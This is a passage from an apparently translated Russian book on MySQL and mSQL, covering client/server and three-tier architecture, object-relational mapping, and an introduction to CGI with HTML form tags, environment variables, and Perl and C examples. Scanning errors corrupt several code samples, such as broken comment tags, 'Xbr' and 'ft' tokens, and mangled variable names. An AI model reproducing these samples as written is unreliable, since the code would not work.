В упрощенном виде архитектура клиент/сервер предполагает разделение происходящей в приложении обработки на две или более логически различные части. До сих пор в этой книге мы обсуждали базы данных так, будто они существуют в некоем безвоздушном пространстве. Однако они выполняют свое предназначение только тогда, когда используются какими-либо приложениями. Упрощая, можно сказать, Что база данных составляет одну часть архитектуры клиент/сервер. База данных является «сервером», а всякое использующее ее приложение является «клиентом». Часто клиент и сервер расположены на разных машинах; в большинстве случаев приложение клиента является дружественным интерфейсом к базе данных. На рис. 8-1 графически представлена простая система клиент/сервер.

Возможно, вы уже встречали в Интернет такую структуру. По сути, мы будем обращаться к определенной задаче приложений клиент/сервер для Интернет на протяжении всей книги. К примеру, WWW является гигантским приложением типа клиент/сервер, в котором Web-броузер является клиентом, а Web-сервер- сервером. В этом сценарии сервер является не сервером реляционных баз данных, а специализированным файл-сервером. Важнейшим свойством сервера является то, что он предоставляет данные клиенту в определенном формате.

Рис. 8-1. Архитектура клиент/сервер

При создании приложения для работы с базой данных прежде всего необходимо иметь возможность связать клиента с базой данных. Поставщики баз данных предпочитают скрывать от разработчиков основополагающие механизмы связи посредством API, ориентированных на конкретный язык. Когда вы создаете приложение для работы с базой данных, то используете специальные библиотеки, которые транслируют ваши запросы в пакеты TCP/IP, передающиеся по сети к серверу базы данных.

Внешний вид этих API для доступа к базам данных различен и зависит от языка программирования, а во многих случаях - и от самой базы данных. Поскольку API для MySQL намеренно разрабатывались так, чтобы иметь сходство с mSQL, у всех API, которые вы найдете в этой книге, различия минимальны.

Обработка данных

В части I «Введение в MySQL и mSQL» мы дали понятия управления транзакциями и результирующего набора. Приложение для работы с базой данных — всего лишь инструмент для управления транзакциями и обработки результирующих наборов. Например, если ваше приложение является адресной книгой, то обработка результирующих наборов заключается в том, чтобы извлечь из таблицы все строки и показать их пользователю. Управление транзакциями просто сводится к тому, чтобы изменения в таблицах address и person производились как единое целое.

Мы уже упоминали, что в MySQL и mSQL нет поддержки транзакций. Всякое изменение в базе данных совершается автоматически, когда вы его запрашиваете. Это ограничение заставляет принимать специальные меры для того, чтобы целостность данных не нарушалась в результате отказа, происходящего в промежутке между двумя связанными между собой обращениями к базе данных.

Два других важных момента в работе приложения - это подключение и отключение. Вполне понятно, что перед тем, как выполнить запрос, необходимо подключиться к базе данных. Однако довольно часто забывают о второй стороне медали- необходимости «убрать за собой». Следует всегда освобождать все захваченные ресурсы базы данных, когда они вам больше не нужны. В долго живущих приложениях, таких как демон Интернет, неаккуратно написанная система может понемногу отнимать ресурсы базы данных, и, в конце концов, заблокирует систему.

«Уборка за собой» включает в себя правильную обработку ошибок. Хорошие языки программирования затрудняют пропуск обработчиков исключительных ситуаций (отказ сети, повторяющиеся ключи при добавлении, ошибки синтаксиса SQL и т. д.). Но независимо от того, какой язык вы избрали, вы обязаны знать, какие исключительные ситуации могут возникать при данном вызове API, и в каждой исключительной ситуации действовать надлежащим образом. С-библиотеки для MySQL и mSQL основываются на представлении базы данных в виде наборов строк. Мы хотим этим сказать, что библиотеки С позволяют непосредственно обращаться с данными в том виде, в каком они в принципе существуют в базе данных. Глава 13 «С и C++», раскрывает практические детали программирования в этой модели с использованием С API для MySQL и mSQL.

Доступ к реляционной базе данных из объектно-ориентированной среды выявляет особый парадокс: реляционный мир занимается исключительно манипуляциями с данными, в то время как мир объектов занимается инкапсуляцией данных внутри некоторого набора схем поведения. В объектно-ориентированном приложении база данных служит средством сохранения объектов для экземпляров приложения. Объектно-ориентированное программирование рассматривает данные запроса не как набор строк, а как собрание объектов.

Объектное/реляционное моделирование

Основная проблема, которая встает перед разработчиком объектно-ориентированного приложения при использовании реляционной базы данных, это - как отобразить реляционные данные в объекты. Первой мыслью может быть попытка отобразить атрибуты объекта в поля таблицы. К несчастью, такой подход по ряду причин не очень удачен.

  • Объекты не хранят только простые данные в своих атрибутах. Там могут храниться также коллекции и связи с другими объектами.
  • В большинстве реляционных баз данных, включая MySQL и mSQL, нет средств, позволяющих моделировать наследование.

Практические правила для объектно-реляционного моделирования

  • У каждого сохраняемого класса в базе данных есть своя таблица.
  • Поля объектов с простыми типами данных (целые, символы, строки и т. д.) сопоставлены колонкам в соответствующей таблице базы данных.
  • Каждая строка таблицы базы данных cоответствует экземпляру соответствующего хранимого класса.
  • Каждая связь между объектами типа «многие-ко-многим» требует таблицы-связки, так же как это требуется для объектов базы данных типа «многие-ко-многим».
  • Наследование моделируется с помощью отношения «один-к-одному» между таблицами, соответствующими классу и подклассу.

Вспомните адресную книгу, о которой мы говорили ранее. Допустим, она имеет таблицы address и person, как на рис. 8-2.

Рис. 8-2. Модель данных простого приложения адресной книги

Есть весьма неочевидная проблема, с которой сталкиваются программисты. Основная задача объектно-ориентированного подхода к реляционным данным - это, получив эти данные, немедленно создать экземпляр объекта. Приложение должно работать с данными только через объекты. Большинство традиционных методов программирования, включая разработку на С, PowerBuilder и VisualBasic, требует, чтобы разработчик извлек из базы данные, а затем их обработал. Главное отличие состоит в том, что в объектно-ориентированном программировании баз данных вы имеете дело с объектами, а не данными.

Рис. 8-3 показывает объектную модель, соответствующую модели данных на рис. 8-2. Каждая строка базы данных преобразуется в программный объект. Таким образом, ваше приложение принимает результирующий набор и для каждой возвращаемой строки создает новый экземпляр Address или Person. Труднее всего справиться с проблемой, о которой уже говорилось: как в приложении установить связь между человеком и его адресом? Объект Person, конечно, имеет ссылку на объект Address, относящийся к этому человеку, но сохранить объект Address внутри таблицы person реляционной базы нельзя. Модель данных предполагает хранение связей между объектами с помощью внешних ключей, для чего в таблицу person заносится address_id.

Рис. 8-3. Объектная модель, поддерживающая простое приложение адресной книги

Самое незначительное усложнение объектной модели может вызвать бездну проблем при установлении соответствия наших объектов и модели данных. Допустим, что Person является потомком Entity и класс Company тоже является потомком Entity. Как отделить Entity от Person или Company? Приведенное выше правило фактически является скорее рекомендацией. В некоторых случаях базовый класс является чисто абстрактным и, следовательно, не имеет в базе связанных с ним данных. В таком случае для этого класса в базе данных не будет объекта.

Трехзвенная архитектура

До сих пор мы обсуждали самую простую архитектуру для работы с WWW и простыми бизнес-приложениями - клиент/сервер. Однако эту архитектуру не так-то просто нарастить по мере роста и изменения ваших приложений. В ней также трудно использовать преимущества объектно-ориентированного программирования. Первая проблема недавно нашла отражение в дискуссиях относительно «тонких клиентов». Потребность в тонких клиентах происходит из беспокоящей тенденции в передаче клиенту все больших объемов обработки. Эта проблема проявилась в PowerBuilder и VisualBasic - инструментах, которые прямо вытаскивают данные из базы в GUI, а затем все операции над этими данными проводят в GUI.

Такая тесная привязка интерфейса пользователя к ядру базы данных приводит к появлению программ, которые трудно модифицировать и невозможно масштабировать при увеличении числа пользователей и объема данных. Если у вас есть опыт разработки интерфейсов пользователя, то вы сталкивались с проблемой переработки интерфейса в зависимости от каприза пользователя. Чтобы изолировать последствия такой переработки, проще всего оставить для GUI только одну задачу- действовать в качестве интерфейса пользователя. Такой интерфейс пользователя действительно является тонким клиентом.

Влияние на масштабируемость сказывается и с другой стороны. Когда требуется переработать приложение, чтобы оно могло справляться с возросшим числом пользователей и объемом данных, модификация может быть осуществлена в результате изменений, вносимых в базу данных, в том числе таких, которые состоят в распределении базы данных по нескольким серверам. Навечно привязав свой интерфейс к базе данных, вам приходится делать изменения в этом GUI для решения проблем масштабирования - проблем, связанных исключительно с сервером.

Тонкие клиенты - не единственное сегодняшнее поветрие. Другая тенденция - повторное использование кода. Общий для разных приложений код тяготеет к обработке данных, обычно называемой деловой логикой. Если вся ваша деловая логика располагается в интерфейсе пользователя, то добиться повторного использования кода будет, по меньшей мере, трудно. Решением этих проблем является разбиение приложения на три, а не на две части. Такая архитектура называется трехзвенной.

Когда мы говорим об интерфейсе пользователя у клиента, то имеем в виду логическое различие. Разновидностью тонкого клиента, иногда называемой «сверхтонким клиентом», является то, что обычно всеми воспринимается как Web-страница. Web-страница может динамически создаваться на Web-сервере. В этом случае большая часть работы клиента происходит на сервере в виде динамической генерации HTML-страниц.

Сравните двухзвенную архитектуру на рис. 8-1 с трехзвенной архитектурой, показанной на рис. 8-4. Мы добавили промежуточный слой между интерфейсом пользователя и базой данных. Этот новый слой, сервер приложений, заключает в себе логику работы приложения - деловую логику, которая является общей для некоторой области задач. Клиент становится ничем иным, как средством просмотра объектов среднего яруса, а база данных становится хранилищем этих объектов.

Самое главное, что вы выигрываете, - это разделение интерфейса пользователя и базы данных. Теперь вам не нужно встраивать знание базы данных в GUI. Напротив, все сведения о том, как работать с базой данных, могут размещаться в среднем ярусе.

Две главные задачи сервера приложений - это изоляция подключений к базе данных и обеспечение централизованного хранилища для деловой логики. Интерфейс пользователя имеет дело только с отображением и вводом данных, а ядро базы данных занимается только проблемами базы данных. При перемещении обработки данных в центральное место одну и ту же программу сервера приложений могут использовать различные интерфейсы пользователя, и устраняется необходимость писать правила обработки данных всякий раз, когда вы создаете новое приложение.

Рис. 8-4. Трехзвенная архитектура

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №9. Программирование с использованием CGI
    • Что такое CGI?
    • Формы HTML
    • Спецификация CGI
    • Важные особенности сценариев CGI
    • CGI и базы данных

Глава №9.

Программирование с использованием CGI

Включение раздела о CGI в книгу по базам данных может показаться столь же странным, как если бы в кулинарную книгу была включена глава о ремонте автомобилей. Разумеется, для того чтобы съездить в магазин за продуктами, нужен исправный автомобиль, но уместно ли об этом говорить? Полное изложение CGI и веб-программирование в целом выходят за рамки данной книги, но краткого введения в эти темы достаточно для того, чтобы расширить возможности MySQL и mSQL по представлению данных в царстве Web.

В основном эта глава предназначена тем, кто изучает базы данных, но не прочь приобрести некоторые знания и в программировании для Web. Если ваша фамилия Бернерс-Ли или Андрессен, вряд ли вы найдете здесь то, чего еще не знаете. Но даже если вы не новичок в CGI, наличие под рукой краткого справочника во время погружения в тайны MySQL и mSQL может оказаться весьма полезным.

Что такое CGI?

Как и большинство акронимов, Common Gateway Interface (CGI - общий шлюзовый интерфейс) мало что говорит по сути. Интерфейс с чем? Где этот шлюз? О какой общности речь? Чтобы ответить на эти вопросы, вернемся немного назад и бросим взгляд на WWW в целом.

Тим Бернерс-Ли, физик, работавший в CERN, придумал Web в 1990 году, хотя план возник еще в 1988. Идея состояла в том, чтобы дать исследователям в области физики элементарных частиц возможность легко и быстро обмениваться мультимедийными данными - текстом, изображениями и звуком — через Интернет. WWW состояла из трех основных частей: HTML, URL и HTTP. HTML - язык форматирования, используемый для представления содержания в Web. URL - это адрес, используемый для получения содержимого в формате HTML (или каком-либо ином) с веб-сервера. И, наконец, HTTP - это язык, который понятен веб-серверу и позволяет клиентам запрашивать у сервера документы.

Возможность пересылки через Интернет информации всех типов явилась революцией, но вскоре была обнаружена и другая возможность. Если можно переслать через Web любой текст, то почему нельзя переслать текст, созданный программой, а не взятый из готового файла? При этом открывается море возможностей. Простой пример: можно использовать программу, выводящую текущее время, так, чтобы читатель видел правильное время при каждом просмотре страницы. Несколько умных голов в National Center for Supercomputing Applications (Национальный центр разработки приложений для суперкомпьютеров -NCSA), которые создавали веб-сервер, такую возможность увидели, и вскоре появился CGI.

CGI - это набор правил, согласно которым программы на сервере могут через веб-сервер посылать данные клиентам. Спецификация CGI сопровождалась изменениями в HTML и HTTP, вводившими новую характеристику, известную как формы.

Если CGI позволяет программам посылать данные клиенту, то формы расширяют эту возможность, позволяя клиенту посылать данные для этой CGI-программы. Теперь пользователь может не только видеть текущее время, но и устанавливать часы! Формы CGI открыли дверь для подлинной интерактивности в мире Web. Распространенные приложения CGI включают в себя:

  • Динамический HTML. Целые сайты могут генерироваться одной CGI-программой.
  • Поисковые механизмы, находящие документы с заданными пользователем словами.
  • Гостевые книги и доски объявлений, в которые пользователи могут добавлять свои сообщения.
  • Бланки заказов.
  • Анкеты.
  • Извлечение информации из размещенной на сервере базы данных.

В последующих главах мы обсудим все эти CGI-приложения, а также и некоторые другие. Все они дают прекрасную возможность соединения CGI с базой данных, что и интересует нас в этом разделе.

Формы HTML

Прежде чем изучать особенности CGI, полезно рассмотреть наиболее часто встречающийся способ, с помощью которого конечные пользователи получают интерфейс к CGI-программам: формы HTML. Формы являются частью языка HTML, предоставляющей конечному пользователю поля различных типов. Данные, вводимые в поля, могут быть пересланы веб-серверу. Поля могут служить для ввода текста или являться кнопками, которые пользователь может нажать или отметить галочкой. Вот пример страницы HTML, содержащей форму:

<НТМL><НЕАD><ТITLЕ>Моя страница с формами</title></head>

<BODY>

<р>Это страница с формой.

<p><FORM ACTION="mycgi.cgi" METHOD=POST>

Введите свое имя: <INPUT NAME="firstname" SIZE=40><br>

<INPUT TYPE=SUBMIT VALUE="Отправить форму">

</form>

</body></html>

Данная форма создает строку длиной 40 символов, куда пользователь может ввести свое имя. Под строкой для ввода располагается кнопка, при нажатии которой данные формы передаются серверу. Ниже перечислены относящиеся к формам теги, поддерживаемые HTML 3.2 -наиболее распространенным в настоящее время стандартом. Названия тегов и атрибутов могут вводиться в любом регистре, но мы придерживаемся необязательного соглашения, согласно которому открывающие теги пишутся в верхнем регистре, а закрывающие - в нижнем.

<FORM>

Этот тег указывает на начало формы. В конце формы требуется закрывающий тег </Form> . Между тегами <FORM> допускаются три атрибута: ACTION задает URL или относительный путь к CGI-програм-ме, которой будут посланы данные; METHOD указывает метод HTTP, посредством которого будет послана форма (это может быть GET или ч POST, но мы почти всегда будем использовать POST); ENCTYPE задает метод кодирования данных (его следует использовать только при четком понимании того, что вы делаете).

<INPUT>

Предоставляет наиболее гибкий способ ввода данных пользователем. Фактически есть девять разных типов тега <INPUT> . Тип задается атрибутом TYPE. В предыдущем примере используются два тега <INPUT>: один с типом SUBMIT и другой с типом по умолчанию TEXT. Девять типов следующие:

TEXT

Поле для ввода пользователем одной строки текста.

PASSWORD

To же, что TEXT, но вводимый текст не отображается на экране.

CHECKBOX

Флажок, который пользователь может устанавливать и сбрасывать.

RADIO

Радиокнопка, которая должна объединяться еще хотя бы с одной радиокнопкой. Пользователь может выбрать только одну из них.

SUBMIT

Кнопка, при нажатии которой форма отправляется на веб-сервер.

RESET

Кнопка, при нажатии которой в форме восстанавливаются значения по умолчанию.

FILE

Аналогичен текстовому окну, но предполагает ввод имени файла, который будет отправлен на сервер.

HIDDEN

Невидимое поле, в котором могут храниться данные.

IMAGE

Аналогичен кнопке SUBMIT, но можно задать картинку для изображения на кнопке.

Кроме атрибута TYPE теги <INPUT> обычно имеют атрибут NAME, связывающий введенные в поле данные с некоторым именем. Имя и данные передаются серверу в стиле величина=значение . В предыдущем примере текстовое поле именовалось firstname . Можно использовать атрибут VALUE, чтобы присвоить полям типа TEXT, PASSWORD , FILE и HIDDEN предустановленные значения. Этот же атрибут, используемый с кнопками типа SUBMIT или RESET, выводит на них заданный текст. Поля типа RADIO и CHECKBOX можно отобразить как выставленные с помощью атрибута CHECKED без задания значения.

Атрибут SIZE используется для задания длины полей типа TEXT, PASSWORD и FILE. Атрибут MAXLENGTH можно использовать для ограничения длины вводимого текста. Атрибут SRC задает URL изображения, используемого в типе IMAGE. И наконец, атрибут ALIGN задает характер выравнивания изображения для типа IMAGE и может иметь значение TOP, MIDDLE, BOTTOM (по умолчанию), LEFT или RIGHT (вверх, в середину, вниз, влево, вправо).

<SELECT>

Этот тег обеспечивает создание меню, из пунктов которого пользователь делает выбор. Меню может быть выпадающим, в котором пользователь выбирает только один пункт, или иметь вид списка, из которого выбирается один или несколько пунктов. Каждый пункт меню задается тегом <OPTION> . Необходимо использовать закрывающий тег </select> .

Как и у тега <INPUT> , у тега <SELECT> есть атрибут NAME, указывающий на имя введенных данных. Возможно использование атрибута SIZE для определения того, сколько пунктов меню будет одновременно выводиться на экран. При отсутствии атрибута SIZE список выводится в виде выпадающего меню. Присутствие атрибута MULTIPLE указывает на возможность выбора нескольких пунктов одновременно. Тег <OPTION> имеет два атрибута. Атрибут VALUE устанавливает возвращаемое значение. Если VALUE не указан, то возвращается текст от тега <OPTION> и до конца строки. Наличие атрибута SELECTED в теге <OPTION> означает, что этот пункт выбирается по умолчанию.

<TEXTAREA>

Этот последний тег, относящийся к формам, позволяет пользователям вводить куски текста, которые будут переданы на веб-сервер. Тег <TEXTAREA> выводит окно, в которое пользователь может ввести любое число строк текста. Необходимо использовать закрывающий тег </Textarea> , и в качестве текста по умолчанию будет принят любой текст, находящийся между тегами <TEXTAREA> и </Textarea> , аналогично атрибуту VALUE для тега <INPUT> . Для тега <TEXTAREA> необходимо задать три атрибута. Атрибут МАМЕ определяет имя данных -так же, как и для других тегов форм. Атрибуты ROWS и COLS задают число строк и колонок при выводе поля на экран, но не ограничивают размер данных, вводимых пользователем.

В Примере 9-1 показано использование всех элементов форм.

Пример 9-1. Форма HTML, демонстрирующая использование различных элементов

<HTML><HEAD><TITLE>Moя вторая страница форм</TITLE>

<р>Это анкета. Пожалуйста, сообщите о себе следующие данные:

<!-Начнем форму. Мы используем метод 'POST' для передачи данных

CGI-программе с именем 'survey.cgi'

<FORM METHOD=POST ACTION="survey.cgi">

<р>Имя: <INPUT SIZE=40 NAME='name'Xbr>

<!-Это тег <INPUT>, имеющий (по умолчанию) тип 'TEXT'. Он имеет длину 40

символов, и данные получат имя 'name'

Номер социального страхования:

<INPUT TYPE=PASSWORD NAME='ssn' SIZE=20Xbr>

<!-Это тег <INPUT>, имеющий стиль 'PASSWORD', используемый для того, чтобы нельзя было подглядеть из-за спины пользователя, какое значение он ввел. Данные получат имя 'ssn', экранное поле имеет длину 20 символов.-->

Связаны ли вы сейчас с коммунистической партией или были связаны с ней ранее?

<INPUT TYPE=CHECKBOX NAME='commie' VALUE='yes'><br>

<!-Это тег <INPUT>, имеющий тип 'CHECKBOX' и использующий для данных имя 'commie'. При передаче формы с установленным флажком с именем 'commie'будет ассоциировано значение 'yes'

Пол:

<INPUT TYPE=RADIO NAME='sex' VALUE='мужской'> Мужской

<INPUT TYPE=RADIO NAME='sex' VALUE='женский'> Женский

<INPUT TYPE=RADIO NAME='sex' VALUE='отсутствует1 CHECKED> Отсутствует<br>

<!-Три тега <INPUT> типа 'RADIO', использующие для данных имя 'sex'. Можно выбрать только один вариант из трех, и поскольку один из них предустановлен, значение будет послано, даже если пользователь не выберет ни одного из них, Посылаемое серверу значение находится в атрибуте 'VALUE' и мйжет не иметь отношения к тексту, следующему за тегом. -->

<INPUT TYPE=HIDDEN NAME="form_number" VALUE="33a">

<!-Это дополнительные данные, которые мы хотим послать серверу, но пользователю знать об этом не нужно, поэтому мы поместили их внутрь тега <INPUT> типа 'HIDDEN' -->

Пожалуйста, укажите путь к вашей любимой игре:

<INPUT TYPE=FILE NAME='game'

SIZE=40><br>

<!-Если пользователь введет правильный путь, то при подаче формы файл будет передан на веб-сервер Q именем 'game'. Это, однако, не столь опасно, как может показаться, поскольку большинство броузеров запрашивает подтверждение на передачу. -->

Ваш любимый цвет (цвета)?<br>

<SELECT NAME="color" MULTIPLE SIZE=5>

<OPTION>Красный

<OPTION>Зеленый

<OPTION>Желтый

<OPTION>Оранжевый

<OPTION VALUE="Голубой">Прелестный цвет лазурного неба

</select><br>

<!-Это пара тегов <SELECT></select>c несколькими возможностями выбора

<OPTION>. Данные получат имя 'color', можно выбрать сразу несколько пунктов, при этом на экран будут выведены все 5 одновременно. Последний пункт использует атрибут 'VALUE', чтобы передать краткий текст. -->

Опишите исчерпывающим образом общественно-политический фон романа

<I>Война и мир</I>

не более, чем в 50 словах.<br>

<TEXTAREA NAME='essay' COLS=70 ROWS=10></textarea><br>

<!-Это пара тегов <TEXTAREAx/textarea>, дающая место для ввода очерка. Данные получают имя 'essay'. Блок текста 70 символов в ширину и 10 строк в глубину. Пространство между тегами

<TEXTAREA> и </textarea>

можно использовать для образца очерка. -->

<INPUT TYPE=SUBMIT VALUE="Ввести данные">

<INPUT TYPE=RESET><!-Два тега <INPUT>типов 'SUBMIT' и 'RESET' соответственно. Кнопка 'SUBMIT' имеет переопределенную надпись 'Ввести данные ', а кнопка 'RESET' имеет надпись по умолчанию (определяемую броузером). Кликнув по кнопке 'SUBMIT', вы пошлете данные на веб-сервер, Кнопка 'RESET' восстановит данные R исходное состояние, удалив все введенные пользователем данные. -->

</form></body></html>

Единственный тип ввода, который мы здесь не использовали, - это тип IMAGE для тега <INPUT> . Можно было бы использовать его в качестве альтернативного способа отправки формы. Однако тип IMAGE редко совместим с текстовыми и не очень чуткими броузерами, поэтому благоразумно избегать его, если только ваш сайт не выполнен в насыщенном графическом стиле.

После знакомства с основами форм HTML можно приступить к изучению собственно CGI.

Спецификация CGI

Итак, что в точности представляет собой «набор правил», позволяющий CGI-программе, скажем, в Батавии, штат Иллинойс, обмениваться данными с веб-броузером во Внешней Монголии? Официальную спецификацию CGI наряду с массой других сведений о CGI можно найти на сервере NCSA по адресу http://hoohoo . ncsa.uluc.edu/ cgi/. Однако эта глава для того и существует, чтобы вам не пришлось долго путешествовать и самому ее искать.

Есть четыре способа, которыми CGI передает данные между CGI-npor-раммой и веб-сервером, а следовательно, и клиентом Web:

  • Переменные окружения.
  • Командная строка.
  • Стандартное устройство ввода.
  • Стандартное устройство вывода.

С помощью этих четырех методов сервер пересылает все данные, переданные клиентом, CGI-программе. Затем CGI-программа делает свое волшебное дело и пересылает выходные данные обратно серверу, который переправляет их клиенту.

Эти данные приводятся с прикидкой на сервер HTTP Apache. Apache - наиболее распространенный веб-сервер, работающий практически на любой платформе, включая Windows 9х и Windows NT. Однако они могут быть применимы ко всем HTTP-серверам, поддерживающим CGI. Некоторые патентованные серверы, например, от Microsoft и Netscape, могут иметь дополнительные функции или работать несколько иначе. Поскольку лицо Web продолжает изменяться с невероятной скоростью, стандарты все еще развиваются, и в будущем, несомненно, произойдут изменения. Однако, что касается CGI, то эта технология представляется устоявшейся - расплачиваться за это приходится тем, что другие технологии, такие как апплеты, ее потеснили. Все CGI-программы, которые вы напишете, используя эти сведения, почти наверное смогут работать еще долгие годы на большинстве веб-серверов.

Когда CGI-программа вызывается посредством формы — наиболее распространенного интерфейса, броузер передает серверу длинную строку, в начале которой стоит путь к CGI-программе и ее имя. Затем следуют различные другие данные, которые называются информацией пути и передаются CGI-программе через переменную окружения PATH_INFO (рис. 9-1). После информации пути следует символ «?», а за ним - данные формы, которые посылаются серверу с помощью метода HTTP GET. Эти данные становятся доступными CGI-программе через переменную окружения QUERY_STRING . Любые данные, которые страница посылает с использованием метода HTTP POST, который используется чаще всего, будут переданы CGI-программе через стандартное устройство ввода. Типичная строка, которую может получить сервер от броузера, показана на рис. 9-1. Программа с именем formread в каталоге cgi-bin вызывается сервером с дополнительной информацией пути extra/information и данными запроса choice=help - по-видимому, как часть исходного URL. Наконец, данные самой формы (текст «CGI programming» в поле «keywords») пересылаются через метод HTTP POST .

Рис. 9-1. Части строки, переданной броузером серверу

Переменные окружения

Когда сервер выполняет CGI-программу, то прежде всего передает ей некоторые данные для работы в виде переменных окружения. В спецификации официально определены семнадцать переменных, но неофициально используется значительно больше - с помощью описываемого ниже механизма, называемого HTTP_/nec/zams/n. CGI-программа

имеет доступ к этим переменным так же, как и к любым переменным среды командного процессора при запуске из командной строки. В сценарии командного процессора, например, к переменной окружения F00 можно обращаться как $F00; в Perl это обращение выглядит, как $ENV{'F00'} ; в С - getenv("F00") ; и т. д. В таблице 9-1 перечислены переменные, которые всегда устанавливаются сервером - хотя бы и в значение null. Помимо этих переменных данные, возвращаемые клиентом в заголовке запроса, присваиваются переменным вида HTTP_F00 , где F00 - имя заголовка. Например, большинство веб-броузеров включает данные о версии в заголовок с именем USEfl_AGENT . Ваша CGI-npor-рамма может получить эти данные из переменной HTTP_USER_AGENT .

Таблица 9-1. Переменные окружения CGI

Переменная окружения | Описание
CONTENT_LENGTH | Длина данных, переданных методами POST или PUT, в байтах.
CONTENT_TYPE | Тип MIME данных, присоединенных с помощью методов POST или PUT .
GATEWAY_INTERFACE | Номер версии спецификации CGI, поддерживаемой сервером.
PATH_INFO | Дополнительная информация пути, переданная клиентом. Например, для запроса http://www.myserver.eom/test.cgi/this/is/a/ path?field=green значением переменной РАТН_ INFO будет /this/is/a/path.
PATH_TRANSLATED | То же, что PATH_INFO , но сервер производит всю
 | возможную трансляцию, например, расширение имен типа «-account». »
QUERY_STRING | Все данные, следующие за символом «?» в URL. Это также данные, передаваемые, когда REQ-UEST_METHOD формы есть GET.
REMOTE_ADDR | IP-адрес клиента, делающего запрос.
REMOTE_HOST | Имя узла машины клиента, если оно доступно.
REMOTE_IDENT | Если веб-сервер и клиент поддерживают идентификацию типа identd, то это имя пользователя учетной записи, которая делает запрос.
REQUEST_METHOD | Метод, используемый клиентом для запроса. Для CGI-программ, которые мы собираемся создавать, это обычно будет POST или GET.
SERVER_NAME | Имя узла - или IP-адрес, если имя недоступно, -машины, на которой выполняется веб-сервер.
SERVER_PORT | Номер порта, используемого веб-сервером.
SERVER_PROTOCOL | Протокол, используемый клиентом для связи с сервером. В нашем случае этот протокол почти всегда HTTP.
SERVER_SOFTWARE | Данные о версии веб-сервера, выполняющего CGI-программу.
SCRIPT_NAME | Путь к выполняемому сценарию, указанный клиентом. Может использоваться при ссылке URL на самого себя, и для того, чтобы сценарии, ссылки на которые существуют в разных местах, могли выполняться по-разному в зависимости от места.

Приведем пример сценария CGI на Perl, который выводит все переменные окружения, установленные сервером, а также все унаследованные переменные, такие как PATH, установленные командным процессором, запустившим сервер.

#!/usr/bin/perl -w

print << HTML;

Content-type: text/html\n\n

<HTML><HEAD><TITLE></title></head>

<BODY> <р>Переменные окружения

<P> HTML

foreach (keys %ENV) { print "$_: $ENV{$_}<br>\n"; }

print <<HTML; </body></html>

HTML

Все эти переменные могут быть использованы и даже изменены вашей CGI-программой. Однако эти изменения не затрагивают веб-сервер, запустивший программу.

Командная строка

CGI допускает передачу CGI-программе аргументов в качестве параметров командной строки, которая редко используется. Редко используется она потому, что практические применения ее немногочисленны, и мы не будем останавливаться на ней подробно. Суть в том, что если переменная окружения QUERY_STRING не содержит символа « = », то CGI-программа будет выполняться с параметрами командной строки, взятыми из QUERY_STRING . Например, http://www.myserver.com/cgi- bin/finger?root запустит finger root на www.myserver.com.

Есть две основные библиотеки, обеспечивающие CGI-интерфейс для Perl. Первая из них - cgi-lib.pl Утилита cgi-lib.pl очень распространена, поскольку в течение долгого времени была единственной имеющейся большой библиотекой. Она предназначена для работы в Perl 4, но работает и с Perl 5. Вторая библиотека, CGI.pm, более новая и во многом превосходит cgi-lib.pl. CGI.pm написана для Perl 5 и использует полностью объектно-ориентированную схему для работы с данными CGI. Модуль CGI.pm анализирует стандартное устройство ввода и переменную QUERY_STRING и сохраняет данные в объекте CGI. Ваша программа должна лишь создать новый объект CGI и использовать простые методы, такие как paramQ, для извлечения нужных вам данных. Пример 9-2 служит короткой демонстрацией того, как CGI.pm интерпретирует данные. Все примеры на Perl в этой главе будут использовать CGI.pm.

Пример 9-2. Синтаксический анализ CGI-данных на Perl

#!/usr/bin/perl -w

use CGI qw(:standard);

# Используется модуль CGI.pm. qw(:standard) импортирует

# пространство имен стандартных CGI-функций,чтобы получить

# более понятный код. Это можно делать, если в сценарии

# используется только один объект CGI.

$mycgi = new CGI; #Создать объект CGI, который будет 'шлюзом' к данным формы

@fields = $mycgi->param; # Извлечь имена всех заполненных полей формы

print header, start_html('CGI.pm test'); ft Методы 'header' и 'start_html',

# предоставляемые

# CGI.pm, упрощают получение HTML.

# 'header' выводит требуемый заголовок HTTP, a

#'start_html' выводит заголовок HTML с данным названием,

#a также тег <BODY>.

print "<р>Данные формы:<br>";

foreach (@fields) { print $_, ":",- $mycgi->param($_), "<br>"; }

# Для каждого поля вывести имя и значение, получаемое с помощью

# $mycgi->param('fieldname').

print end_html; # Сокращение для вывода завершающих тегов "</body></html>".

Обработка входных данных в С

Поскольку основные API для MySQL и mSQL написаны на С, мы не будем полностью отказываться от С в пользу Perl, но там, где это уместно, приведем несколько примеров на С. Есть три широко используемые С-библиотеки для CGI-программирования: cgic Тома Бу-телла (Tom Boutell)*; cgihtml Юджина Кима (Eugene Kim)t и libcgi от EIT*. Мы полагаем, что cgic является наиболее полной и простой в использовании. В ней, однако, недостает возможности перечисления всех переменных формы, когда они не известны вам заранее. На самом деле, ее можно добавить путем простого патча, но это выходит за рамки данной главы. Поэтому в примере 9-3 мы используем библиотеку cgihtml, чтобы повторить на С приведенный выше сценарий Perl.

Пример 9-3. Синтаксический анализ CGI-данных на С

/* cgihtmltest.c - Типовая CGI-программа для вывода ключей и их значений

из данных, полученных от формы */

#include <stdio.h>

#include "cgi-lib.h" /* Здесь содержатся все определения функций СGI */

#include "html-lib.h" /* Здесь содержатся' все определения вспомогательных функций для HTML */

void print_all(llist 1)

/* Эти функции выводят данные, переданные формой, в том же формате, что и приведенный выше сценарий Perl. Cgihtml предоставляет также встроенную функцию

print_entries(), которая делает то же самое, используя формат списка HTML. */ {

node* window;

/* Тип 'node' определен в библиотеке cgihtml и ссылается на связанный список, в котором хранятся все данные формы. */

window = I.head; /* Устанавливает указатель на начало данных формы */

while (window != NULL) { /* Пройти по связанному списку до последнего (первого пустого) элемента */

printf(" %s:%s<br>\n",window->entry. name,replace_ltgt(window->entry.value));

/* Вывести данные. Replace__ltgt() - функция, понимающая HTML-кодировку текста и обеспечивающая его правильный вывод на броузер клиента. */

window = window->next; /* Перейти к следующему элементу списка. */

} }

int main() {

llist entries; /* Указатель на проанализированные данные*/

int status; /* Целое число, представляющее статус */

html__header(); /* Вспомогательная функция HTML, выводящая заголовок HTML*/

html_begin("cgihtml test");

